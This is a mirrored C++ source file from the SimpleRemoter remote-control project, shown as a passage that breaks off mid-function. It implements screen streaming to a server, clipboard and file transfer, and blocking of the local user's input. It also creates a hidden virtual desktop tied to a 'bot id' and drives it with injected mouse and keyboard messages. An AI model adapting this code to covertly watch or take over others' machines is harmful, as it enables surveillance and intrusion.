mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
916 lines
32 KiB
C++
916 lines
32 KiB
C++
// ScreenManager.cpp: implementation of the CScreenManager class.
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//
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//////////////////////////////////////////////////////////////////////
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#include "stdafx.h"
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#include "ScreenManager.h"
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#include "Common.h"
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#include <IOSTREAM>
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#if _MSC_VER <= 1200
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#include <Winable.h>
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#else
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#include <WinUser.h>
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#endif
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#include <time.h>
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#include "ScreenSpy.h"
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#include "ScreenCapturerDXGI.h"
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#include <Shlwapi.h>
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#include <shlobj_core.h>
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#include "common/file_upload.h"
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#include <thread>
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#pragma comment(lib, "Shlwapi.lib")
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#ifndef PLUGIN
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#ifdef _WIN64
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#ifdef _DEBUG
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#pragma comment(lib, "FileUpload_Libx64d.lib")
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#else
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#pragma comment(lib, "FileUpload_Libx64.lib")
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#endif
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#else
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int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
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{
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return 0;
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}
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int UninitFileUpload()
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{
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return 0;
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}
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std::vector<std::string> GetClipboardFiles(int &result)
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{
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return{};
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}
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bool GetCurrentFolderPath(std::string& outDir)
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{
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return false;
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}
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int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
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void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
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{
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finish(user);
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return 0;
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}
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int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
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{
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return 0;
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}
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#endif
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#endif
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//////////////////////////////////////////////////////////////////////
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// Construction/Destruction
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//////////////////////////////////////////////////////////////////////
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#define WM_MOUSEWHEEL 0x020A
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#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
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bool IsWindows8orHigher()
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{
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typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
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HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
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if (!hMod) return false;
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RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
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if (!rtlGetVersion) return false;
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RTL_OSVERSIONINFOW rovi = { 0 };
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rovi.dwOSVersionInfoSize = sizeof(rovi);
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if (rtlGetVersion(&rovi) == 0) {
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return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
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}
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return false;
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}
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CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
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{
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#ifndef PLUGIN
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extern CONNECT_ADDRESS g_SETTINGS;
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m_conn = &g_SETTINGS;
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InitFileUpload("");
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#endif
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m_isGDI = TRUE;
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m_virtual = FALSE;
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m_bIsWorking = TRUE;
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m_bIsBlockInput = FALSE;
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g_hDesk = nullptr;
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m_DesktopID = GetBotId();
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m_ScreenSpyObject = nullptr;
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m_ptrUser = (INT_PTR)user;
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m_point = {};
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m_lastPoint = {};
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m_lmouseDown = FALSE;
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m_hResMoveWindow = nullptr;
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m_resMoveType = 0;
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m_rmouseDown = FALSE;
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m_rclickPoint = {};
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m_rclickWnd = nullptr;
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m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
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}
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bool CScreenManager::SwitchScreen()
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{
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if (m_ScreenSpyObject == NULL || m_ScreenSpyObject->GetScreenCount() <= 1 ||
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!m_ScreenSpyObject->IsMultiScreenEnabled())
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return false;
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m_bIsWorking = FALSE;
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DWORD s = WaitForSingleObject(m_hWorkThread, 3000);
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if (s == WAIT_TIMEOUT) {
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TerminateThread(m_hWorkThread, -1);
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}
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m_bIsWorking = TRUE;
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m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
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return true;
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}
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std::wstring ConvertToWString(const std::string& multiByteStr)
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{
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int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
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if (len == 0) return L""; // 转换失败
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std::wstring wideStr(len, L'\0');
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MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
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return wideStr;
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}
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bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
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{
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bool bReturn = false;
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try {
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if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
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return false;
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TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
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TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
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strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
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std::wstring path = ConvertToWString(pszApplicationFilePath);
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if (!PathIsExe(path.c_str()))
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return false;
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PathRemoveFileSpec(szDirectoryName);
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STARTUPINFO sInfo = { 0 };
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PROCESS_INFORMATION pInfo = { 0 };
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sInfo.cb = sizeof(sInfo);
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sInfo.lpDesktop = pszDesktopName;
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//Launching a application into desktop
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BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
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NULL,
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NULL,
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NULL,
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TRUE,
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NORMAL_PRIORITY_CLASS,
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NULL,
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szDirectoryName,
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&sInfo,
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&pInfo);
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CloseHandle(pInfo.hProcess);
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CloseHandle(pInfo.hThread);
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TCHAR* pszError = NULL;
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FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
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NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
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if (pszError) {
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Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
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LocalFree(pszError); // 释放内存
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}
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if (bCreateProcessReturn)
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bReturn = true;
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} catch (...) {
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bReturn = false;
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}
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return bReturn;
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}
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void CScreenManager::InitScreenSpy()
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{
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int DXGI = USING_GDI;
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BYTE algo = ALGORITHM_DIFF;
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BYTE* user = (BYTE*)m_ptrUser;
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BOOL all = FALSE;
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if (!(user == NULL || ((int)user) == 1)) {
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UserParam* param = (UserParam*)user;
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if (param) {
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DXGI = param->buffer[0];
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algo = param->length > 1 ? param->buffer[1] : algo;
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all = param->length > 2 ? param->buffer[2] : all;
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}
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m_pUserParam = param;
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} else {
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DXGI = (int)user;
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}
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Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
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if (DXGI == USING_VIRTUAL) {
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m_virtual = TRUE;
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HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
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if (!hDesk) {
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if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) {
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Mprintf("创建虚拟屏幕成功: %s\n", m_DesktopID.c_str());
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TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
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GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
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strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
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if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
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Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
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}
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} else {
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Mprintf("创建虚拟屏幕失败: %s\n", m_DesktopID.c_str());
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}
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} else {
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Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
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}
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if (hDesk) {
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SetThreadDesktop(g_hDesk = hDesk);
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}
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} else {
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HDESK hDesk = OpenActiveDesktop();
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if (hDesk) {
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SetThreadDesktop(g_hDesk = hDesk);
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}
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}
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SAFE_DELETE(m_ScreenSpyObject);
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if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
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m_isGDI = FALSE;
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auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all);
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if (s->IsInitSucceed()) {
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m_ScreenSpyObject = s;
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} else {
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SAFE_DELETE(s);
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m_isGDI = TRUE;
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m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all);
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Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
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}
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} else {
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m_isGDI = TRUE;
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m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all);
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}
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}
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DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
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{
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CScreenManager *This = (CScreenManager *)lParam;
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This->InitScreenSpy();
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This->SendBitMapInfo(); //发送bmp位图结构
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// 等控制端对话框打开
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This->WaitForDialogOpen();
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clock_t last = clock();
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This->SendFirstScreen();
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#if USING_ZLIB
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const int fps = 8;// 帧率
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#else
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const int fps = 8;// 帧率
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#endif
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const int sleep = 1000 / fps;// 间隔时间（ms）
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int c1 = 0; // 连续耗时长的次数
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int c2 = 0; // 连续耗时短的次数
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float s0 = sleep; // 两帧之间隔（ms）
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const int frames = fps; // 每秒调整屏幕发送速度
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const float alpha = 1.03; // 控制fps的因子
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clock_t last_check = clock();
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timeBeginPeriod(1);
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while (This->m_bIsWorking) {
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// 降低桌面检查频率，避免频繁的DC重置导致闪屏
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if (This->m_isGDI && This->IsRunAsService() && !This->m_virtual) {
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auto now = clock();
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if (now - last_check > 500) {
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last_check = now;
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// 使用公共函数检查并切换桌面（无需写权限）
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if (SwitchToDesktopIfChanged(This->g_hDesk, 0)) {
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// 桌面变化时重置屏幕捕获的DC
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if (This->m_ScreenSpyObject) {
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CScreenSpy* spy = dynamic_cast<CScreenSpy*>(This->m_ScreenSpyObject);
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if (spy) {
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spy->ResetDesktopDC();
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}
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}
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}
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}
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}
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ULONG ulNextSendLength = 0;
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const char* szBuffer = This->GetNextScreen(ulNextSendLength);
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if (szBuffer) {
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s0 = max(s0, 50); // 最快每秒20帧
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s0 = min(s0, 1000);
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int span = s0-(clock() - last);
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Sleep(span > 0 ? span : 1);
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if (span < 0) { // 发送数据耗时较长，网络较差或数据较多
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c2 = 0;
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if (frames == ++c1) { // 连续一定次数耗时长
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s0 = (s0 <= sleep*4) ? s0*alpha : s0;
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c1 = 0;
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#ifdef _DEBUG
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if (1000./s0>1.0)
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Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
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#endif
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}
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} else if (span > 0) { // 发送数据耗时比s0短，表示网络较好或数据包较小
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c1 = 0;
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if (frames == ++c2) { // 连续一定次数耗时短
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s0 = (s0 >= sleep/4) ? s0/alpha : s0;
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c2 = 0;
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#ifdef _DEBUG
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if (1000./s0<20.0)
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Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
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#endif
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}
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}
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last = clock();
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This->SendNextScreen(szBuffer, ulNextSendLength);
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}
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}
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timeEndPeriod(1);
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Mprintf("ScreenWorkThread Exit\n");
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return 0;
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}
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VOID CScreenManager::SendBitMapInfo()
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{
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//这里得到bmp结构的大小
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const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
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LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
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ulLength, MEM_COMMIT, PAGE_READWRITE);
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if (szBuffer == NULL)
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return;
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szBuffer[0] = TOKEN_BITMAPINFO;
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//这里将bmp位图结构发送出去
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memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
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HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
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m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0);
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VirtualFree(szBuffer, 0, MEM_RELEASE);
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}
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CScreenManager::~CScreenManager()
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{
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Mprintf("ScreenManager 析构函数\n");
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UninitFileUpload();
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m_bIsWorking = FALSE;
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WaitForSingleObject(m_hWorkThread, INFINITE);
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if (m_hWorkThread!=NULL) {
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CloseHandle(m_hWorkThread);
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}
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delete m_ScreenSpyObject;
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m_ScreenSpyObject = NULL;
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SAFE_DELETE(m_pUserParam);
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}
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void RunFileReceiver(CScreenManager *mgr, const std::string &folder)
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{
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auto start = time(0);
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Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
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IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
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if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
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pClient->setManagerCallBack(mgr, CManager::DataProcess);
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// 发送目录并准备接收文件
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char cmd[300] = { COMMAND_GET_FILE };
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memcpy(cmd + 1, folder.c_str(), folder.length());
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pClient->Send2Server(cmd, sizeof(cmd));
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pClient->RunEventLoop(TRUE);
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}
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delete pClient;
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Mprintf("Leave thread RunFileReceiver: %d. Cost: %d s\n", GetCurrentThreadId(), time(0)-start);
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}
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bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
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{
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IOCPClient* pClient = (IOCPClient*)user;
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if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) {
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return false;
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}
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return true;
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}
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void RecvData(void* ptr)
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{
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FileChunkPacket* pkt = (FileChunkPacket*)ptr;
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}
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void delay_destroy(IOCPClient* pClient, int sec)
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{
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if (!pClient) return;
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Sleep(sec * 1000);
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delete pClient;
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}
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void FinishSend(void* user)
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{
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IOCPClient* pClient = (IOCPClient*)user;
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std::thread(delay_destroy, pClient, 15).detach();
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}
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VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
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{
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switch(szBuffer[0]) {
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case COMMAND_SWITCH_SCREEN: {
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SwitchScreen();
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break;
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}
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case CMD_MULTITHREAD_COMPRESS: {
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int threadNum = szBuffer[1];
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m_ClientObject->SetMultiThreadCompress(threadNum);
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break;
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}
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case COMMAND_NEXT: {
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NotifyDialogIsOpen();
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break;
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}
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case COMMAND_SCREEN_CONTROL: {
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BlockInput(false);
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ProcessCommand(szBuffer + 1, ulLength - 1);
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BlockInput(m_bIsBlockInput); //再恢复成用户的设置
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break;
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}
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case COMMAND_SCREEN_BLOCK_INPUT: { //ControlThread里锁定
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m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //鼠标键盘的锁定
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BlockInput(m_bIsBlockInput);
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break;
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}
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case COMMAND_SCREEN_GET_CLIPBOARD: {
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int result = 0;
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auto files = GetClipboardFiles(result);
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if (!files.empty()) {
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char h[100] = {};
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memcpy(h, szBuffer + 1, ulLength - 1);
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m_hash = std::string(h, h + 64);
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m_hmac = std::string(h + 64, h + 80);
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BYTE szBuffer[1] = { COMMAND_GET_FOLDER };
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SendData(szBuffer, sizeof(szBuffer));
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break;
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}
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SendClientClipboard();
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break;
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}
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case COMMAND_SCREEN_SET_CLIPBOARD: {
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UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
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break;
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}
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case COMMAND_GET_FOLDER: {
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std::string folder;
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if (GetCurrentFolderPath(folder)) {
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char h[100] = {};
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memcpy(h, szBuffer + 1, ulLength - 1);
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m_hash = std::string(h, h + 64);
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m_hmac = std::string(h + 64, h + 80);
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if (OpenClipboard(nullptr)) {
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EmptyClipboard();
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CloseClipboard();
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}
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std::thread(RunFileReceiver, this, folder).detach();
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}
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break;
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}
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case COMMAND_GET_FILE: {
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// 发送文件
|
||
int result = 0;
|
||
auto files = GetClipboardFiles(result);
|
||
std::string dir = (char*)(szBuffer + 1);
|
||
if (!files.empty() && !dir.empty()) {
|
||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||
std::thread(FileBatchTransferWorker, files, dir, pClient, ::SendData, ::FinishSend,
|
||
m_hash, m_hmac).detach();
|
||
} else {
|
||
delete pClient;
|
||
}
|
||
}
|
||
break;
|
||
}
|
||
case COMMAND_SEND_FILE: {
|
||
// 接收文件
|
||
int n = RecvFileChunk((char*)szBuffer, ulLength, m_conn, RecvData, m_hash, m_hmac);
|
||
if (n) {
|
||
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, m_hash.c_str(), m_hmac.c_str());
|
||
}
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
::EmptyClipboard();
|
||
HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength+1);
|
||
if (hGlobal != NULL) {
|
||
|
||
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||
if (szClipboardVirtualAddress == NULL) {
|
||
GlobalFree(hGlobal);
|
||
CloseClipboard();
|
||
return;
|
||
}
|
||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||
szClipboardVirtualAddress[ulLength] = '\0';
|
||
GlobalUnlock(hGlobal);
|
||
if(NULL==SetClipboardData(CF_TEXT, hGlobal))
|
||
GlobalFree(hGlobal);
|
||
}
|
||
CloseClipboard();
|
||
}
|
||
|
||
VOID CScreenManager::SendClientClipboard()
|
||
{
|
||
if (!::OpenClipboard(NULL)) //打开剪切板设备
|
||
return;
|
||
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //代表着一个内存
|
||
if (hGlobal == NULL) {
|
||
::CloseClipboard();
|
||
return;
|
||
}
|
||
size_t iPacketLength = GlobalSize(hGlobal) + 1;
|
||
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //锁定
|
||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||
|
||
|
||
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||
::GlobalUnlock(hGlobal);
|
||
::CloseClipboard();
|
||
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
|
||
delete[] szBuffer;
|
||
}
|
||
|
||
|
||
VOID CScreenManager::SendFirstScreen()
|
||
{
|
||
ULONG ulFirstSendLength = 0;
|
||
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
|
||
if (ulFirstSendLength == 0 || FirstScreenData == NULL) {
|
||
return;
|
||
}
|
||
|
||
m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
|
||
}
|
||
|
||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||
{
|
||
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||
|
||
if (ulNextSendLength == 0 || NextScreenData == NULL) {
|
||
return NULL;
|
||
}
|
||
|
||
return (char*)NextScreenData;
|
||
}
|
||
|
||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||
{
|
||
m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
|
||
}
|
||
|
||
std::string GetTitle(HWND hWnd)
|
||
{
|
||
char title[256]; // 预留缓冲区
|
||
GetWindowTextA(hWnd, title, sizeof(title));
|
||
return title;
|
||
}
|
||
|
||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
int msgSize = sizeof(MSG64);
|
||
if (ulLength % 28 == 0) // 32位控制端发过来的消息
|
||
msgSize = 28;
|
||
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
|
||
msgSize = 48;
|
||
else return; // 数据包不合法
|
||
|
||
// 命令个数
|
||
ULONG ulMsgCount = ulLength / msgSize;
|
||
|
||
// 处理多个命令
|
||
BYTE* ptr = szBuffer;
|
||
MSG32 msg32;
|
||
MSG64 msg64;
|
||
if (m_virtual) {
|
||
HWND hWnd = NULL;
|
||
BOOL mouseMsg = FALSE;
|
||
POINT lastPointCopy = {};
|
||
SetThreadDesktop(g_hDesk);
|
||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
|
||
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||
switch (msg->message) {
|
||
case WM_KEYUP:
|
||
return;
|
||
case WM_CHAR:
|
||
case WM_KEYDOWN: {
|
||
m_point = m_lastPoint;
|
||
hWnd = WindowFromPoint(m_point);
|
||
break;
|
||
}
|
||
default: {
|
||
msg->pt = { LOWORD(msg->lParam), HIWORD(msg->lParam) };
|
||
m_ScreenSpyObject->PointConversion(msg->pt);
|
||
msg->lParam = MAKELPARAM(msg->pt.x, msg->pt.y);
|
||
|
||
mouseMsg = TRUE;
|
||
m_point = msg->pt;
|
||
hWnd = WindowFromPoint(m_point);
|
||
lastPointCopy = m_lastPoint;
|
||
m_lastPoint = m_point;
|
||
if (msg->message == WM_RBUTTONDOWN) {
|
||
// 记录右键按下时的坐标
|
||
m_rmouseDown = TRUE;
|
||
m_rclickPoint = msg->pt;
|
||
} else if (msg->message == WM_RBUTTONUP) {
|
||
m_rmouseDown = FALSE;
|
||
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
||
// 检查是否为系统菜单（如任务栏）
|
||
char szClass[256] = {};
|
||
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
||
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
|
||
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
||
// 触发系统级右键菜单（任务栏）
|
||
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
|
||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
|
||
} else {
|
||
// 普通窗口的右键菜单
|
||
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
|
||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
|
||
// 附加：模拟键盘按下Shift+F10（备用菜单触发方式）
|
||
keybd_event(VK_SHIFT, 0, 0, 0);
|
||
keybd_event(VK_F10, 0, 0, 0);
|
||
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
|
||
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||
}
|
||
}
|
||
} else if (msg->message == WM_LBUTTONUP) {
|
||
if (m_rclickWnd && hWnd != m_rclickWnd) {
|
||
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
||
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
|
||
m_rclickWnd = nullptr;
|
||
}
|
||
m_lmouseDown = FALSE;
|
||
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||
switch (lResult) {
|
||
case HTTRANSPARENT: {
|
||
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
|
||
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||
break;
|
||
}
|
||
case HTCLOSE: {// 关闭窗口
|
||
PostMessageA(hWnd, WM_CLOSE, 0, 0);
|
||
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||
break;
|
||
}
|
||
case HTMINBUTTON: {// 最小化
|
||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
|
||
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||
break;
|
||
}
|
||
case HTMAXBUTTON: {// 最大化
|
||
WINDOWPLACEMENT windowPlacement;
|
||
windowPlacement.length = sizeof(windowPlacement);
|
||
GetWindowPlacement(hWnd, &windowPlacement);
|
||
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
|
||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
|
||
else
|
||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
|
||
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||
break;
|
||
}
|
||
}
|
||
} else if (msg->message == WM_LBUTTONDOWN) {
|
||
m_lmouseDown = TRUE;
|
||
m_hResMoveWindow = NULL;
|
||
RECT startButtonRect;
|
||
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
|
||
GetWindowRect(hStartButton, &startButtonRect);
|
||
if (PtInRect(&startButtonRect, m_point)) {
|
||
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
|
||
continue;
|
||
} else {
|
||
char windowClass[MAX_PATH] = { 0 };
|
||
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
|
||
if (!lstrcmpA(windowClass, "#32768")) {
|
||
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
|
||
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
|
||
int itemId = GetMenuItemID(hMenu, itemPos);
|
||
PostMessageA(hWnd, 0x1e5, itemPos, 0);
|
||
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
|
||
continue;
|
||
}
|
||
}
|
||
} else if (msg->message == WM_MOUSEMOVE) {
|
||
if (!m_lmouseDown)
|
||
continue;
|
||
if (!m_hResMoveWindow)
|
||
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||
else
|
||
hWnd = m_hResMoveWindow;
|
||
int moveX = lastPointCopy.x - m_point.x;
|
||
int moveY = lastPointCopy.y - m_point.y;
|
||
|
||
RECT rect;
|
||
GetWindowRect(hWnd, &rect);
|
||
int x = rect.left;
|
||
int y = rect.top;
|
||
int width = rect.right - rect.left;
|
||
int height = rect.bottom - rect.top;
|
||
switch (m_resMoveType) {
|
||
case HTCAPTION: {
|
||
x -= moveX;
|
||
y -= moveY;
|
||
break;
|
||
}
|
||
case HTTOP: {
|
||
y -= moveY;
|
||
height += moveY;
|
||
break;
|
||
}
|
||
case HTBOTTOM: {
|
||
height -= moveY;
|
||
break;
|
||
}
|
||
case HTLEFT: {
|
||
x -= moveX;
|
||
width += moveX;
|
||
break;
|
||
}
|
||
case HTRIGHT: {
|
||
width -= moveX;
|
||
break;
|
||
}
|
||
case HTTOPLEFT: {
|
||
y -= moveY;
|
||
height += moveY;
|
||
x -= moveX;
|
||
width += moveX;
|
||
break;
|
||
}
|
||
case HTTOPRIGHT: {
|
||
y -= moveY;
|
||
height += moveY;
|
||
width -= moveX;
|
||
break;
|
||
}
|
||
case HTBOTTOMLEFT: {
|
||
height -= moveY;
|
||
x -= moveX;
|
||
width += moveX;
|
||
break;
|
||
}
|
||
case HTBOTTOMRIGHT: {
|
||
height -= moveY;
|
||
width -= moveX;
|
||
break;
|
||
}
|
||
default:
|
||
continue;
|
||
}
|
||
MoveWindow(hWnd, x, y, width, height, FALSE);
|
||
m_hResMoveWindow = hWnd;
|
||
continue;
|
||
}
|
||
break;
|
||
}
|
||
}
|
||
for (HWND currHwnd = hWnd;;) {
|
||
hWnd = currHwnd;
|
||
ScreenToClient(currHwnd, &m_point);
|
||
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
|
||
if (!currHwnd || currHwnd == hWnd)
|
||
break;
|
||
}
|
||
if (mouseMsg)
|
||
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
|
||
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
|
||
}
|
||
return;
|
||
}
|
||
if (IsRunAsService()) {
|
||
// 获取当前活动桌面（带写权限，用于锁屏等安全桌面）
|
||
// 使用独立的静态变量避免与WorkThreadProc的g_hDesk并发冲突
|
||
static HDESK s_inputDesk = NULL;
|
||
static clock_t s_lastCheck = 0;
|
||
static DWORD s_lastThreadId = 0;
|
||
const int CHECK_INTERVAL = 100; // 桌面检测间隔（ms），快速响应锁屏/UAC切换
|
||
|
||
// 首次调用或定期检测桌面是否变化（降低频率，避免每次输入都检测）
|
||
auto now = clock();
|
||
if (!s_inputDesk || now - s_lastCheck > CHECK_INTERVAL) {
|
||
s_lastCheck = now;
|
||
if (SwitchToDesktopIfChanged(s_inputDesk, DESKTOP_WRITEOBJECTS | GENERIC_WRITE)) {
|
||
// 桌面变化时，标记需要重新设置线程桌面
|
||
s_lastThreadId = 0;
|
||
}
|
||
}
|
||
|
||
// 确保当前线程在正确的桌面上（仅首次或线程变化时设置）
|
||
if (s_inputDesk) {
|
||
DWORD currentThreadId = GetCurrentThreadId();
|
||
if (currentThreadId != s_lastThreadId) {
|
||
SetThreadDesktop(s_inputDesk);
|
||
s_lastThreadId = currentThreadId;
|
||
}
|
||
}
|
||
}
|
||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
|
||
(MSG64*)msg64.Create(msg32.Create(ptr, msgSize));
|
||
switch (Msg->message) {
|
||
case WM_LBUTTONDOWN:
|
||
case WM_LBUTTONUP:
|
||
case WM_RBUTTONDOWN:
|
||
case WM_RBUTTONUP:
|
||
case WM_LBUTTONDBLCLK:
|
||
case WM_RBUTTONDBLCLK:
|
||
case WM_MBUTTONDOWN:
|
||
case WM_MBUTTONUP:
|
||
case WM_MOUSEMOVE: {
|
||
POINT Point;
|
||
Point.x = LOWORD(Msg->lParam);
|
||
Point.y = HIWORD(Msg->lParam);
|
||
m_ScreenSpyObject->PointConversion(Point);
|
||
BOOL b = SetCursorPos(Point.x, Point.y);
|
||
if (!b) {
|
||
SetForegroundWindow(GetDesktopWindow());
|
||
ReleaseCapture();
|
||
return;
|
||
}
|
||
}
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
|
||
switch(Msg->message) { //端口发加快递费
|
||
case WM_LBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_LBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
break;
|
||
